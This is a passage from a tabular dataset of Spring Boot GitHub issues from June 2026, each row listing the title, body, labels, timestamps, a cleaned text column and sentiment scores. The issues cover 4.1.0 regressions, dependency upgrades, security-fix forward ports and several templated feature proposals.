    this.webSe... [TRUNCATED]",,2026-06-16 02:13:39+00:00,2026-06-17 18:07:57+00:00,5,nan,1.6627,still emits the cookie attribute setting still produces on the session cookie this is a regression from the fix for commit b f dd first released in in only filters so reaches the consumer the lambda then ignores the actual boolean value and always sets the attribute to tomcat s emits when the attribute is so an explicit is rendered the same as the attribute is set by the container agnostic so the same mapping applies to jetty the fix also changed which sets to assert that checks the internal attribute value not the resulting header reproduction a header level test against tomcat fails with the current code java test void sessioncookienotpartitionedattribute throws exception configurableservletwebserverfactory factory getfactory factory getsettings getsession getcookie setpartitioned false factory addinitializers new servletregistrationbean new cookieservlet false this webse truncated,others,0.7728
spring-projects/spring-boot,4665461136,Protobuf Common Protos should not be a managed dependency,"Boot doesn't interact with the dependency directly so we should not manage its version. Instead, we should allow the version that comes in transitively through gRPC Java to be used instead.
",type: bug,2026-06-15 13:21:17+00:00,2026-06-15 14:10:38+00:00,0,type: bug,0.0343,protobuf common protos should not be a managed dependency boot doesn t interact with the dependency directly so we should not manage its version instead we should allow the version that comes in transitively through grpc java to be used instead,bug,0.2263
spring-projects/spring-boot,4665450156,Upgrade to Grpc Java 1.81.0,Upgrade to [Grpc Java 1.81.0](https://github.com/grpc/grpc-java/releases/tag/v1.81.0).,"type: dependency-upgrade,status: team-only",2026-06-15 13:19:49+00:00,2026-06-15 14:10:40+00:00,0,"type: dependency-upgrade,status: team-only",0.0353,upgrade to grpc java upgrade to grpc java,others,0.0
spring-projects/spring-boot,4665447260,Upgrade to Protobuf Java 4.35.0,Upgrade to [Protobuf Java 4.35.0](https://github.com/protocolbuffers/protobuf/releases/tag/v4.35.0).,"type: dependency-upgrade,status: team-only",2026-06-15 13:19:26+00:00,2026-06-15 14:10:40+00:00,0,"type: dependency-upgrade,status: team-only",0.0356,upgrade to protobuf java upgrade to protobuf java,others,0.0
spring-projects/spring-boot,4665207455,Align versions of gRPC-related dependencies with those from Spring gRPC,,type: task,2026-06-15 12:49:14+00:00,2026-06-15 14:10:39+00:00,0,type: task,0.0565,align versions of grpc related dependencies with those from spring grpc,others,0.0
spring-projects/spring-boot,4664321969,`RestClient.Builder` is no longer auto-configured after upgrading from Spring Boot 4.0.6 to 4.1.0,"  ## Description

  After upgrading from Spring Boot `4.0.6` to `4.1.0`, an application that previously started successfully now fails because `RestClient.Builder` is no longer available as a bean.

  The application uses `spring-boot-starter-web` and defines:

  ```java
  @Bean
  public RestClient restClient(RestClient.Builder restClientBuilder) {
           //.....more code.....
      return restClientBuilder.build();
  }
```

  This works with Spring Boot 4.0.6, but fails with Spring Boot 4.1.0.

  ## Error

  Parameter 0 of method restClient in com.tyaio.web.config.RestClientConfig required a bean of type
  'org.springframework.web.client.RestClient$Builder' that could not be found.

  ## Expected Behavior

  RestClient.Builder should still be auto-configured when using spring-boot-starter-web, as it was in Spring Boot 4.0.6.

  ## Actual Behavior

  With Spring Boot 4.1.0, no RestClient.Builder bean is registered and the application fails to start.",status: invalid,2026-06-15 10:43:05+00:00,2026-06-16 13:33:41+00:00,1,status: invalid,1.1185,is no longer auto configured after upgrading from spring boot to description after upgrading from spring boot to an application that previously started successfully now fails because is no longer available as a bean the application uses and defines this works with spring boot but fails with spring boot error parameter of method restclient in com tyaio web config restclientconfig required a bean of type org springframework web client restclient builder that could not be found restclient builder should still be auto configured when using spring boot starter web as it was in spring boot with spring boot no restclient builder bean is registered and the application fails to start,others,-0.9451
spring-projects/spring-boot,4659290017,spring.data.mongodb.uri credentials ignored — MongoClient created with credential=null in Spring Boot 4.0.6,"# Bug Report: `spring.data.mongodb.uri` credentials ignored in Spring Boot 4.0.6
**Spring Boot version:** 4.0.6
**MongoDB driver version:** 5.6.5 (shipped with starter)
**MongoDB server version:** 8.3.4
**Java version:** 25.0.3 (Eclipse Adoptium)
**OS:** Linux
---
## Description
When configuring MongoDB via `spring.data.mongodb.uri` in `application.yaml`, the `MongoClient` is created with `credential=null`, ignoring the username and password embedded in the connection string. This causes authentication to fail with error code 13 (`Command listDatabases requires authentication`).
## Expected Behavior
The `MongoClient` should be created with `MongoCredential{userName='admin', source='admin'}` extracted from the URI.
## Actual Behavior
`MongoClientSettings` shows `credential=null`, even though the URI contains valid credentials at `mongodb://admin:admin123@localhost:27017/medicare?authSource=admin`.
```yaml
# application.yaml
spring:
  data:
    mongodb:
      uri: mongodb://admin:admin123@localhost:27017/medicare?authSource=admin
```
Log output:
```
MongoClientSettings{... credential=null ...}
```
## Steps to Reproduce
1. Create a Spring Boot 4.0.6 project with `spring-boot-starter-data-mongodb`
2. Configure `spring.data.mongodb.uri` in `application.yaml` with a URI that includes credentials (e.g., `mongodb://user:pass@localhost:27017/db?authSource=admin`)
3. Start the application
4. Check the logs — the `MongoClient` will have `credential=null`
## Workaround
Creating a `@Confi... [TRUNCATED]",status: invalid,2026-06-14 13:40:44+00:00,2026-06-14 19:00:12+00:00,1,status: invalid,0.2219,spring data mongodb uri credentials ignored mongoclient created with credential null in spring boot bug report credentials ignored in spring boot spring boot version mongodb driver version shipped with starter mongodb server version java version eclipse adoptium os linux description when configuring mongodb via in the is created with ignoring the username and password embedded in the connection string this causes authentication to fail with error code the should be created with extracted from the uri shows even though the uri contains valid credentials at log output create a spring boot project with configure in with a uri that includes credentials e g start the application check the logs the will have workaround creating a confi truncated,others,-0.7906
spring-projects/spring-boot,4656435228,An application that depends on spring-boot-security-oauth2-resource-server may fail to start with a ClassNotFoundException when Reactor is on the classpath but WebFlux is not,"Spring Boot `4.1.0` conditions to apply `ReactiveOAuth2ResourceServerAutoConfiguration` have changed, making it possible to try to instantiate a `SpringReactiveOpaqueTokenIntrospector`, even if WebFlux dependencies are not on the classpath.

In my case, this results in `java.lang.ClassNotFoundException: org.springframework.web.reactive.function.BodyInserter`.

The following tests for tiny WebMvc applications with introspection properties crash:
```bash
git clone https://github.com/ch4mpy/spring-addons.git
cd spring-addons
git checkout boot-4.1.0
mvn test
```

#### Thoughts
Conditions for Boot to auto-configure beans should be quite conservative. In the case of an opaque token introspector, this should happen only if:
- introspection properties are present
- the required security dependencies are on the classpath
- there is no opaque token introspector provided by the application (`@ConditionalOnMissingBean`). 

Additionally, depending on what is on the classpath, at most one of the reactive or synchronized implementations should be instantiated.

",type: regression,2026-06-13 18:06:36+00:00,2026-06-13 20:30:21+00:00,0,type: regression,0.0998,an application that depends on spring boot security oauth resource server may fail to start with a classnotfoundexception when reactor is on the classpath but webflux is not spring boot conditions to apply have changed making it possible to try to instantiate a even if webflux dependencies are not on the classpath in my case this results in the following tests for tiny webmvc applications with introspection properties crash thoughts conditions for boot to auto configure beans should be quite conservative in the case of an opaque token introspector this should happen only if introspection properties are present the required security dependencies are on the classpath there is no opaque token introspector provided by the application additionally depending on what is on the classpath at most one of the reactive or synchronized implementations should be instantiated,bug,-0.7579
spring-projects/spring-boot,4646599121,docs: update few documentation issues,"I found several documentation inconsistencies that still appear to be present on current `main` as of https://github.com/spring-projects/spring-boot/commit/8ccf2e910f2ecb1919cfe45eb4f4e3df16076f2d.

#### 1. Cloud deployment docs use the wrong forward headers property

The cloud deployment page tells users to set `spring.forward-headers-strategy`:

https://github.com/spring-projects/spring-boot/blob/8ccf2e910f2ecb1919cfe45eb4f4e3df16076f2d/documentation/spring-boot-docs/src/docs/antora/modules/how-to/pages/deployment/cloud.adoc#L27

But the actual property is `server.forward-headers-strategy`, so the documented setting has no effect.

Introduced by:
- https://github.com/spring-projects/spring-boot/commit/7a6d92cbff421953901078a423717d345eaf7354

#### 2. JPA bootstrap docs still say lazy mode uses the async task executor

The SQL/JPA docs say deferred or lazy bootstrapping uses the context's `AsyncTaskExecutor`, if any:

https://github.com/spring-projects/spring-boot/blob/8ccf2e910f2ecb1919cfe45eb4f4e3df16076f2d/documentation/spring-boot-docs/src/docs/antora/modules/reference/pages/data/sql.adoc#L275-L277

But the behavior changed so that the bootstrap executor customization applies to deferred mode, not lazy mode, and deferred mode requires an executor.

Introduced by:
- https://github.com/spring-projects/spring-boot/commit/e76c6c5488fc1fa4e01030620db044f3f93eb0a7

#### 3. Optional binding docs still describe the old null behavior

The external configuration docs say an `Optio... [TRUNCATED]",status: superseded,2026-06-12 05:29:46+00:00,2026-06-12 13:53:43+00:00,3,status: superseded,0.35,docs update few documentation issues i found several documentation inconsistencies that still appear to be present on current as of cloud deployment docs use the wrong forward headers property the cloud deployment page tells users to set but the actual property is so the documented setting has no effect introduced by jpa bootstrap docs still say lazy mode uses the async task executor the sql jpa docs say deferred or lazy bootstrapping uses the context s if any but the behavior changed so that the bootstrap executor customization applies to deferred mode not lazy mode and deferred mode requires an executor introduced by optional binding docs still describe the old null behavior the external configuration docs say an optio truncated,bug,-0.9274
spring-projects/spring-boot,4641739231,"Configuration properties containing empty arrays, collections or maps fail with ConverterNotFoundException","Configuring a Map property with an empty collection is no longer possible in 4.1.0, was working in 4.0.6.

Instead of the application starting with an empty map for that property, the startup fails with an `Failed to load ApplicationContext` error caused by:
```
Caused by: org.springframework.core.convert.ConverterNotFoundException: No converter found capable of converting from type [java.lang.String] to type [java.util.Map<java.lang.String, java.lang.String>]
```

e.g. with the following config class:
```
@ConfigurationProperties(prefix = ""test"")
public class TestProperties {
    private Map<String, String> testmap = new HashMap<>();

    public Map<String, String> getTestmap() {
        return testmap;
    }

    public void setTestmap(final Map<String, String> testmap) {
        this.testmap = testmap;
    }
}
```
and this in application.yaml:
```
test:
  testmap: {}
```

The result is an error at startup:
```

java.lang.IllegalStateException: Failed to load ApplicationContext for [WebMergedContextConfiguration@629fc74d testClass = **redacted**, locations = [], classes = [**redacted**, TestConfiguration], contextInitializerClasses = [], activeProfiles = [], propertySourceDescriptors = [], propertySourceProperties = [""org.springframework.boot.test.context.SpringBootTestContextBootstrapper=true""], contextCustomizers = [org.springframework.boot.webmvc.test.autoconfigure.WebDriverContextCustomizer@5003041b, org.springframework.boot.test.autoconfigure.OnFailureConditionReportCo... [TRUNCATED]",status: superseded,2026-06-11 15:05:19+00:00,2026-06-17 18:00:28+00:00,4,status: superseded,6.1216,configuration properties containing empty arrays collections or maps fail with converternotfoundexception configuring a map property with an empty collection is no longer possible in was working in instead of the application starting with an empty map for that property the startup fails with an error caused by e g with the following config class and this in application yaml the result is an error at startup java lang illegalstateexception failed to load applicationcontext for webmergedcontextconfiguration fc d testclass redacted locations classes redacted testconfiguration contextinitializerclasses activeprofiles propertysourcedescriptors propertysourceproperties org springframework boot test context springboottestcontextbootstrapper true contextcustomizers org springframework boot webmvc test autoconfigure webdrivercontextcustomizer b org springframework boot test autoconfigure onfailureconditionreportco truncated,others,-0.9509
spring-projects/spring-boot,4639596436,Spring Boot 4.1 and Spring Cloud compatibility,"I upgraded from Spring Boot 4.0 to Spring Boot 4.1. I am using Spring Cloud 2025.1.1. On startup I received this error:
```
***************************
APPLICATION FAILED TO START
***************************

Description:

Your project setup is incompatible with our requirements due to following reasons:

- Spring Boot [4.1.0] is not compatible with this Spring Cloud release train


Action:

Consider applying the following actions:

- Change Spring Boot version to one of the following versions [4.0.x] .
You can find the latest Spring Boot versions here [https://spring.io/projects/spring-boot#learn]. 
If you want to learn more about the Spring Cloud Release train compatibility, you can visit this page [https://spring.io/projects/spring-cloud#overview] and check the [Release Trains] section.
If you want to disable this check, just set the property [spring.cloud.compatibility-verifier.enabled=false]
```

I cannot see a more recent version of Spring Cloud.","status: invalid,for: external-project",2026-06-11 10:36:23+00:00,2026-06-11 10:43:07+00:00,1,"status: invalid,for: external-project",0.0047,spring boot and spring cloud compatibility i upgraded from spring boot to spring boot i am using spring cloud on startup i received this error i cannot see a more recent version of spring cloud,others,-0.5423
spring-projects/spring-boot,4638853672,GraalVM regression - Spring Boot 4.1,"
This morning I upgraded my project to Spring Boot 4.1 with the following 2 plugin dependencies from the Spring Initializer:

```
    id(""org.springframework.boot"") version ""4.1.0""
    id(""org.graalvm.buildtools.native"") version ""1.1.1""
```

The GraalVM native image built successfully, but the application fails to start up with following stacktrace.

```
  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/

 :: Spring Boot ::                (v4.1.0)

08:43:35.934 [main] INFO  i.g.g.datastarspringmvc.Application - Starting AOT-processed Application using Java 25.0.3 with PID 1 (/workspace/io.github.gadnex.datastarspringmvc.Application started by cnb in /workspace) []
08:43:35.935 [main] INFO  i.g.g.datastarspringmvc.Application - No active profile set, falling back to 1 default profile: ""default"" []
08:43:35.964 [main] INFO  o.s.boot.tomcat.TomcatWebServer - Tomcat initialized with port 8080 (http) []
08:43:35.965 [main] INFO  o.a.catalina.core.StandardService - Starting service [Tomcat] []
08:43:35.965 [main] INFO  o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/11.0.22] []
08:43:35.975 [main] INFO  o.s.b.w.c.s.WebApplicationContextInitializer - Root WebApplicationContext: initialization completed in 40 ms []
08:43:35.995 [main] WARN  o.s.b.w.s.s.c.ServletW... [TRUNCATED]",status: duplicate,2026-06-11 08:51:21+00:00,2026-06-11 13:47:47+00:00,1,status: duplicate,0.2059,graalvm regression spring boot this morning i upgraded my project to spring boot with the following plugin dependencies from the spring initializer the graalvm native image built successfully but the application fails to start up with following stacktrace spring boot v main info i g g datastarspringmvc application starting aot processed application using java with pid workspace io github gadnex datastarspringmvc application started by cnb in workspace main info i g g datastarspringmvc application no active profile set falling back to default profile default main info o s boot tomcat tomcatwebserver tomcat initialized with port http main info o a catalina core standardservice starting service tomcat main info o a catalina core standardengine starting servlet engine apache tomcat main info o s b w c s webapplicationcontextinitializer root webapplicationcontext initialization completed in ms main warn o s b w s s c servletw truncated,bug,-0.5187
spring-projects/spring-boot,4635596238,EntityManager not available to auto wire in spring boot 4.1.0,"Startup fails with:

Caused by: org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type 'jakarta.persistence.EntityManager' available: expected at least 1 bean which qualifies as autowire candidate. Dependency annotations: {}

It works fine in 4.0.7 and 4.1.0-M2. Fails in 4.1.0-M3 and later.

Tested by just changing the spring boot version and keeping other dependencies the same with:
* hibernate 7.4.1.Final
* spring data 26.0.0
* spring framework 7.0.8
",status: invalid,2026-06-10 22:49:36+00:00,2026-06-11 08:02:13+00:00,9,status: invalid,0.3838,entitymanager not available to auto wire in spring boot startup fails with caused by org springframework beans factory nosuchbeandefinitionexception no qualifying bean of type jakarta persistence entitymanager available expected at least bean which qualifies as autowire candidate dependency annotations it works fine in and m fails in m and later tested by just changing the spring boot version and keeping other dependencies the same with hibernate final spring data spring framework,others,-0.7184
spring-projects/spring-boot,4632380459,MailSender auto-configuration does not enable hostname verification,Forward port of issue #50746 to 4.1.x.,"type: bug,status: forward-port",2026-06-10 14:53:30+00:00,2026-06-10 15:21:50+00:00,0,"type: bug,status: forward-port",0.0197,mailsender auto configuration does not enable hostname verification forward port of issue to x,bug,0.0
spring-projects/spring-boot,4632378075,MailSender auto-configuration does not enable hostname verification,Forward port of issue #50742 to 4.0.x.,"type: bug,status: forward-port",2026-06-10 14:53:14+00:00,2026-06-10 15:21:50+00:00,0,"type: bug,status: forward-port",0.0199,mailsender auto configuration does not enable hostname verification forward port of issue to x,bug,0.0
spring-projects/spring-boot,4632350199,Artemis auto-configuration uses a predictable default location for the embedded broker's data,Forward port of issue #50744 to 4.1.x.,"type: bug,status: forward-port",2026-06-10 14:49:42+00:00,2026-06-10 15:21:49+00:00,0,"type: bug,status: forward-port",0.0223,artemis auto configuration uses a predictable default location for the embedded broker s data forward port of issue to x,bug,0.0
spring-projects/spring-boot,4632333984,Artemis auto-configuration uses a predictable default location for the embedded broker's data,Forward port of issue #50743 to 4.0.x.,"type: bug,status: forward-port",2026-06-10 14:47:37+00:00,2026-06-10 15:21:48+00:00,0,"type: bug,status: forward-port",0.0237,artemis auto configuration uses a predictable default location for the embedded broker s data forward port of issue to x,bug,0.0
spring-projects/spring-boot,4632153345,Artemis auto-configuration uses a predictable default location for the embedded broker's data,,type: bug,2026-06-10 14:24:41+00:00,2026-06-10 15:21:47+00:00,0,type: bug,0.0397,artemis auto configuration uses a predictable default location for the embedded broker s data,bug,0.0
spring-projects/spring-boot,4632137291,MailSender auto-configuration does not enable hostname verification,,type: bug,2026-06-10 14:22:56+00:00,2026-06-10 15:21:48+00:00,0,type: bug,0.0409,mailsender auto configuration does not enable hostname verification,bug,0.0
spring-projects/spring-boot,4630857103,Upgrade to Spring GraphQL 2.0.4,Upgrade to [Spring GraphQL 2.0.4](https://github.com/spring-projects/spring-graphql/releases/tag/v2.0.4).,"type: dependency-upgrade,status: team-only",2026-06-10 11:44:14+00:00,2026-06-10 11:46:40+00:00,0,"type: dependency-upgrade,status: team-only",0.0017,upgrade to spring graphql upgrade to spring graphql,others,0.0
spring-projects/spring-boot,4630841981,Upgrade to Spring GraphQL 1.4.6,Upgrade to [Spring GraphQL 1.4.6](https://github.com/spring-projects/spring-graphql/releases/tag/v1.4.6).,"type: dependency-upgrade,status: team-only",2026-06-10 11:42:09+00:00,2026-06-10 11:46:39+00:00,0,"type: dependency-upgrade,status: team-only",0.0031,upgrade to spring graphql upgrade to spring graphql,others,0.0
spring-projects/spring-boot,4628227384,"PropertiesWebClientHttpServiceGroupConfigurer has highest precedence, preventing other configurers from being ordered ahead of it","`PropertiesWebClientHttpServiceGroupConfigurer#getOrder()` still returns `Ordered.HIGHEST_PRECEDENCE`, while the RestClient sibling was changed to `Ordered.HIGHEST_PRECEDENCE + 10` in 72eaeecd5cd for gh-48296.

This leaves WebClient-backed HTTP service groups with the limitation that gh-48296 fixed for RestClient. A `WebClientHttpServiceGroupConfigurer` ordered at, say, `Ordered.HIGHEST_PRECEDENCE + 5` cannot supply an initial `WebClient.Builder` through `InitializingClientCallback`. The properties configurer runs first, creates the default builder through the `ClientCallback` variant of `forEachClient`, and the initializing callback then fails with ""Client builder already initialized"".

If this is considered a bug, would it be okay for me to submit a small PR?
",status: superseded,2026-06-10 05:12:13+00:00,2026-06-10 14:22:22+00:00,2,status: superseded,0.382,propertieswebclienthttpservicegroupconfigurer has highest precedence preventing other configurers from being ordered ahead of it still returns while the restclient sibling was changed to in eaeecd cd for gh this leaves webclient backed http service groups with the limitation that gh fixed for restclient a ordered at say cannot supply an initial through the properties configurer runs first creates the default builder through the variant of and the initializing callback then fails with client builder already initialized if this is considered a bug would it be okay for me to submit a small pr,others,-0.6124
spring-projects/spring-boot,4627885470,"PropertiesWebClientHttpServiceGroupConfigurer has highest precedence, preventing other configurers from being ordered ahead of it","`PropertiesWebClientHttpServiceGroupConfigurer#getOrder()` still returns `Ordered.HIGHEST_PRECEDENCE`, while the RestClient sibling was changed to `Ordered.HIGHEST_PRECEDENCE + 10` in 72eaeecd5cd for gh-48296.

This leaves WebClient-backed HTTP service groups with the limitation that gh-48296 fixed for RestClient. A `WebClientHttpServiceGroupConfigurer` ordered at, say, `Ordered.HIGHEST_PRECEDENCE + 5` cannot supply an initial `WebClient.Builder` through `InitializingClientCallback`. The properties configurer runs first, creates the default builder through the `ClientCallback` variant of `forEachClient`, and the initializing callback then fails with ""Client builder already initialized"".

If this is considered a bug, would it be okay for me to submit a small PR?",status: duplicate,2026-06-10 04:10:52+00:00,2026-06-10 05:12:42+00:00,0,status: duplicate,0.0429,propertieswebclienthttpservicegroupconfigurer has highest precedence preventing other configurers from being ordered ahead of it still returns while the restclient sibling was changed to in eaeecd cd for gh this leaves webclient backed http service groups with the limitation that gh fixed for restclient a ordered at say cannot supply an initial through the properties configurer runs first creates the default builder through the variant of and the initializing callback then fails with client builder already initialized if this is considered a bug would it be okay for me to submit a small pr,others,-0.6124
spring-projects/spring-boot,4625079346,Upgrade to Hibernate 7.2.19.Final,"Upgrade to [Hibernate 7.2.19.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.19).

Supersedes #50716","type: dependency-upgrade,status: team-only",2026-06-09 19:46:52+00:00,2026-06-09 19:49:01+00:00,0,"type: dependency-upgrade,status: team-only",0.0015,upgrade to hibernate final upgrade to hibernate final supersedes,others,0.0
spring-projects/spring-boot,4622855126,Fix Javadoc for GraylogExtendedLogFormatProperties,Forward port of issue #50699 to 4.0.x.,"type: task,status: forward-port",2026-06-09 14:26:31+00:00,2026-06-09 14:28:42+00:00,0,"type: task,status: forward-port",0.0015,fix javadoc for graylogextendedlogformatproperties forward port of issue to x,bug,0.3612
spring-projects/spring-boot,4621867576,High number of connections due to mongo health indicator,"Hello,

we noticed a high number of connections created by our microservices after migrating to Spring Boot 4.0.6.\
We have about 80 microservices in our product and they used to create around 200 connections to MongoDB.\
After migrating to Spring Boot 4, we noticed that microservices were creating around 1300 connections.

After analysis, we identified the mongo health indicator as the root cause of this issue, more precisely the refactoring done with #47051.

Our context:
- every microservice has its own database
- our microservices use the reactive mongo health indicator to check database connectivity
- all microservices in a Kubernetes namespace use the same MongoDB user (to avoid limitation in MongoDB Atlas)

With Spring Boot 3, the mongo health indicator was running a single HELLO command in the database of the microservice.

Since Spring Boot 4, the reactive indicator runs a HELLO command on all databases of the namespace (around 80) and it does so in parallel for the reactive health indicator (due to usage of flatMap).

To fix the issue, we overwrote the mongo health indicator to only check the current database.

Would you consider reverting mongo indicators (blocking & reactive) to their previous implementation (using mongoTemplate & reactiveMongoTemplate) ?",status: superseded,2026-06-09 12:21:08+00:00,2026-06-10 15:27:19+00:00,4,status: superseded,1.1293,high number of connections due to mongo health indicator hello we noticed a high number of connections created by our microservices after migrating to spring boot we have about microservices in our product and they used to create around connections to mongodb after migrating to spring boot we noticed that microservices were creating around connections after analysis we identified the mongo health indicator as the root cause of this issue more precisely the refactoring done with our context every microservice has its own database our microservices use the reactive mongo health indicator to check database connectivity all microservices in a kubernetes namespace use the same mongodb user to avoid limitation in mongodb atlas with spring boot the mongo health indicator was running a single hello command in the database of the microservice since spring boot the reactive indicator runs a hello command on all databases of the namespace around and it does so in parallel for the reactive health indicator due to usage of flatmap to fix the issue we overwrote the mongo health indicator to only check the current database would you consider reverting mongo indicators blocking reactive to their previous implementation using mongotemplate reactivemongotemplate,others,0.34
spring-projects/spring-boot,4621571138,Upgrade to SAAJ Impl 3.0.6,"Upgrade to SAAJ Impl 3.0.6.

Supersedes #50320","type: dependency-upgrade,status: team-only",2026-06-09 11:36:32+00:00,2026-06-09 11:38:02+00:00,0,"type: dependency-upgrade,status: team-only",0.001,upgrade to saaj impl upgrade to saaj impl supersedes,others,0.0
spring-projects/spring-boot,4621570513,Upgrade to Pulsar 4.0.11,"Upgrade to [Pulsar 4.0.11](https://pulsar.apache.org/release-notes/versioned/pulsar-4.0.11).

Supersedes #50318","type: dependency-upgrade,status: team-only",2026-06-09 11:36:25+00:00,2026-06-09 11:38:01+00:00,0,"type: dependency-upgrade,status: team-only",0.0011,upgrade to pulsar upgrade to pulsar supersedes,others,0.0
spring-projects/spring-boot,4621569760,Upgrade to jOOQ 3.19.35,"Upgrade to [jOOQ 3.19.35](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.35).

Supersedes #50531","type: dependency-upgrade,status: team-only",2026-06-09 11:36:18+00:00,2026-06-09 11:37:59+00:00,0,"type: dependency-upgrade,status: team-only",0.0012,upgrade to jooq upgrade to jooq supersedes,others,0.0
spring-projects/spring-boot,4621569324,Upgrade to Jetty Reactive HTTPClient 4.0.14,Upgrade to Jetty Reactive HTTPClient 4.0.14.,"type: dependency-upgrade,status: team-only",2026-06-09 11:36:14+00:00,2026-06-09 11:37:59+00:00,0,"type: dependency-upgrade,status: team-only",0.0012,upgrade to jetty reactive httpclient upgrade to jetty reactive httpclient,others,0.0
spring-projects/spring-boot,4621568727,Upgrade to Jaxen 2.0.6,"Upgrade to [Jaxen 2.0.6](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.6).

Supersedes #50675","type: dependency-upgrade,status: team-only",2026-06-09 11:36:08+00:00,2026-06-09 11:37:58+00:00,0,"type: dependency-upgrade,status: team-only",0.0013,upgrade to jaxen upgrade to jaxen supersedes,others,0.0
spring-projects/spring-boot,4621568175,Upgrade to Hibernate 6.6.53.Final,"Upgrade to [Hibernate 6.6.53.Final](https://github.com/hibernate/hibernate-orm/releases/tag/6.6.53).

Supersedes #50672","type: dependency-upgrade,status: team-only",2026-06-09 11:36:02+00:00,2026-06-09 11:37:57+00:00,0,"type: dependency-upgrade,status: team-only",0.0013,upgrade to hibernate final upgrade to hibernate final supersedes,others,0.0
spring-projects/spring-boot,4619229709,Only sync JDK download when Docker tests that need it will run,"The build configuration of spring-boot-launch-script-tests is a little bit inefficient at the moment as, even when running with `-x dockerTest`, we'll still sync the JDK download that's only used by those tests.",type: task,2026-06-09 05:49:07+00:00,2026-06-09 05:59:33+00:00,0,type: task,0.0072,only sync jdk download when docker tests that need it will run the build configuration of spring boot launch script tests is a little bit inefficient at the moment as even when running with we ll still sync the jdk download that s only used by those tests,documentation,0.0
spring-projects/spring-boot,4618862692,Implement API rate limiting with distributed support and configurable strategies,"## Problem Statement
Spring Boot APIs lack built-in rate limiting. External libraries required. Distributed rate limiting is complex. No standard configuration. Teams implement custom solutions repeatedly.

**Business Impact:** Prevents API abuse, ensures fair resource allocation, improves security.

## Root Cause Analysis
Rate limiting is external. No framework support. Distributed strategies are complex.

## Solution Overview
- Implement rate limiter filters
- Support distributed backends
- Add configurable strategies
- Create monitoring

**Implementation Steps:**
1. Design rate limiter API
2. Implement strategy engines
3. Add distributed support
4. Create examples

## Type of Change
Enhancement, Security, Scalability

## Testing Done
- Test 30+ rate limiting scenarios
- Verify accuracy under load
- Performance testing
- Distributed scenario testing

## Related Issues & Standards
Rate limiting standards, security best practices

## Suggested Labels
enhancement, security, rate-limiting, api-protection, GSSoC26",status: duplicate,2026-06-09 04:35:12+00:00,2026-06-09 05:31:25+00:00,2,status: duplicate,0.039,implement api rate limiting with distributed support and configurable strategies problem statement spring boot apis lack built in rate limiting external libraries required distributed rate limiting is complex no standard configuration teams implement custom solutions repeatedly business impact prevents api abuse ensures fair resource allocation improves security root cause analysis rate limiting is external no framework support distributed strategies are complex solution overview implement rate limiter filters support distributed backends add configurable strategies create monitoring implementation steps design rate limiter api implement strategy engines add distributed support create examples type of change enhancement security scalability testing done test rate limiting scenarios verify accuracy under load performance testing distributed scenario testing related issues standards rate limiting standards security best practices suggested labels enhancement security rate limiting api protection gssoc,help,0.9666
spring-projects/spring-boot,4618859669,Add automatic database migration verification with rollback support and validation,"## Problem Statement
Spring Boot migrations lack built-in verification. Failed migrations cause data loss. No rollback support. Validation is manual. Teams struggle with migration safety in production.

**Business Impact:** Prevents data loss, enables safe schema evolution, improves deployment confidence.

## Root Cause Analysis
Migrations are basic. Verification is manual. Rollback strategy is unclear.

## Solution Overview
- Add migration verification system
- Implement rollback mechanism
- Create validation checks
- Build monitoring

**Implementation Steps:**
1. Design verification framework
2. Implement rollback system
3. Add validation checks
4. Create examples

## Type of Change
Enhancement, Data integrity, Safety

## Testing Done
- Test 40+ migration scenarios
- Verify rollback accuracy
- Performance testing
- Data integrity validation

## Related Issues & Standards
Database migration best practices

## Suggested Labels
enhancement, migrations, data-integrity, reliability, GSSoC26",status: invalid,2026-06-09 04:34:39+00:00,2026-06-09 05:28:34+00:00,2,status: invalid,0.0374,add automatic database migration verification with rollback support and validation problem statement spring boot migrations lack built in verification failed migrations cause data loss no rollback support validation is manual teams struggle with migration safety in production business impact prevents data loss enables safe schema evolution improves deployment confidence root cause analysis migrations are basic verification is manual rollback strategy is unclear solution overview add migration verification system implement rollback mechanism create validation checks build monitoring implementation steps design verification framework implement rollback system add validation checks create examples type of change enhancement data integrity safety testing done test migration scenarios verify rollback accuracy performance testing data integrity validation related issues standards database migration best practices suggested labels enhancement migrations data integrity reliability gssoc,help,0.9607
spring-projects/spring-boot,4618858458,Implement multi-tenancy support with automatic tenant context propagation,"## Problem Statement
Spring Boot lacks multi-tenancy patterns. SaaS applications manually implement tenant isolation. No standard way to propagate tenant context. Data isolation is error-prone.

**Business Impact:** Enables SaaS applications, improves data isolation, supports enterprise deployments.

## Root Cause Analysis
Multi-tenancy is application concern. No framework support. Context propagation is manual.

## Solution Overview
- Create tenant context API
- Implement automatic propagation
- Add data source routing
- Support multiple isolation levels

**Implementation Steps:**
1. Design tenant context system
2. Implement propagation mechanism
3. Add data source routing
4. Create examples

## Type of Change
Enhancement, Enterprise features, Scalability

## Testing Done
- Test 30+ tenancy scenarios
- Verify data isolation
- Performance testing
- Concurrent tenant testing

## Related Issues & Standards
Multi-tenancy patterns, SaaS best practices

## Suggested Labels
enhancement, multi-tenancy, saas, scalability, GSSoC26",status: invalid,2026-06-09 04:34:26+00:00,2026-06-09 05:30:32+00:00,2,status: invalid,0.039,implement multi tenancy support with automatic tenant context propagation problem statement spring boot lacks multi tenancy patterns saas applications manually implement tenant isolation no standard way to propagate tenant context data isolation is error prone business impact enables saas applications improves data isolation supports enterprise deployments root cause analysis multi tenancy is application concern no framework support context propagation is manual solution overview create tenant context api implement automatic propagation add data source routing support multiple isolation levels implementation steps design tenant context system implement propagation mechanism add data source routing create examples type of change enhancement enterprise features scalability testing done test tenancy scenarios verify data isolation performance testing concurrent tenant testing related issues standards multi tenancy patterns saas best practices suggested labels enhancement multi tenancy saas scalability gssoc,help,0.128
spring-projects/spring-boot,4618856467,Add reactive streams support with Project Reactor integration for backpressure handling,"## Problem Statement
Spring Boot's reactive support lacks backpressure handling. Applications struggle with reactive stream semantics. No built-in guidance for Project Reactor usage. Teams misuse reactive patterns causing performance issues.

**Business Impact:** Enables handling 100x concurrent connections, improves memory efficiency, supports true non-blocking I/O.

